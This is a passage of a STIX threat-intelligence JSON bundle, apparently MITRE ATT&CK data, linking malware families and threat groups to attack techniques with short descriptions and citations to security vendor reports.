"external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects local files and information from the victim\u2019s local machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ecd1b78-a3f1-4997-be47-68377eb59689", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch an interface where it can execute several commands on the victim\u2019s PC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.427Z", + "id": "relationship--cbbfb291-9c39-4fab-a2ac-c1f076c7c367", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.212Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can capture microphone data from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:23:46.181Z", + "id": "relationship--cdc0bf25-e132-4214-b3e0-c784da6cfbeb", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Remcos](https://attack.mitre.org/software/S0332) steals and modifies data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.800Z", + "id": "relationship--441ef1f7-79b7-476a-8c1e-943439e65dd1", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can open an active screen of the victim\u2019s machine and take control of the mouse and keyboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.643Z", + "id": "relationship--a1dfbc65-48dc-4218-a10c-906fbe33b6db", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Carbon](https://attack.mitre.org/software/S0335) has a command to inject code into a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.845Z", + "id": "relationship--b9b2ddad-acb6-4e97-966c-ff18fd36cea3", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.688Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[NanoCore](https://attack.mitre.org/software/S0336)\u2019s plugins were obfuscated with Eazfuscater.NET 3.3.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.450Z", + "id": "relationship--2f884873-308c-4bee-94bd-90bb2267fea7", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.977Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.658Z", + "id": "relationship--dc2b58dd-1052-4860-8e14-5650ab8eecfd", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) has keylogging capabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.736Z", + "id": "relationship--15d01a81-5d77-4373-81d0-8962e708ad20", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.834Z", + "id": "relationship--e9de3c2d-1b2e-4c35-a406-475f5f5fd4d5", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + }, + { + "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019.", + "source_name": "Trend Micro Xbash Sept 2018", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) digitally signs the malware with a code-signing certificate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.942Z", + "id": "relationship--496017cd-f22a-4295-931c-70bb672985f8", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) deobfuscates its strings and APIs once its executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fd2f1a44-2ae7-4df0-b53c-42bc96af2da1", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[FTP](https://attack.mitre.org/software/S0095) may be used to exfiltrate data separate from the main command and control protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408", + "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.", + "source_name": "Wikipedia FTP", + "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3671c28f-927b-40e0-ba75-079c0aafea5b", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) exfiltrates data in compressed chunks if a message is larger than 4096 bytes .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f4182c2a-c2b3-4866-9f7e-f29e0229dead", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.147Z", + "id": "relationship--b5182d53-f71f-4b86-8e52-9670d9eaa396", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) can download and execute a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:21:42.356Z", + "id": "relationship--a33a1a9c-c8d1-45f5-ad29-4a4188e5a54b", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "modified": "2019-01-30T15:21:42.356Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.294Z", + "id": "relationship--f638cb6d-d725-444f-93f9-02f49b4d9383", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can log keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.206Z", + "id": "relationship--458eebea-e73b-4417-9ce0-11417f6b0289", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has created a scheduled task named \"MicrosoftEdge\" to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:13:11.828Z", + "id": "relationship--2ccf654b-1077-4277-9a24-099fb3bf095f", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.142Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.226Z", + "id": "relationship--02052736-4888-47b0-9eb4-4031a4061998", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used several remote administration tools as persistent infiltration channels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.272Z", + "id": "relationship--9ffb8d9a-6aee-4bb5-9f1a-0e9c1f643350", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can download a payload for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:03.992Z", + "id": "relationship--f315cbb6-e49c-4820-99cb-262d36acf17f", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.987Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.664Z", + "id": "relationship--c7c855ed-9550-4611-84bd-d4d7c86cef3c", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.364Z", + "id": "relationship--8ee8bf1b-acbc-4138-a7dc-667b251fd826", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[APT32](https://attack.mitre.org/groups/G0050) performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.546Z", + "id": "relationship--63994c7c-6544-4e29-9c94-ac2237166774", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:39:56.555Z", + "id": "relationship--5d4113cb-f652-4214-9585-388422528960", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": 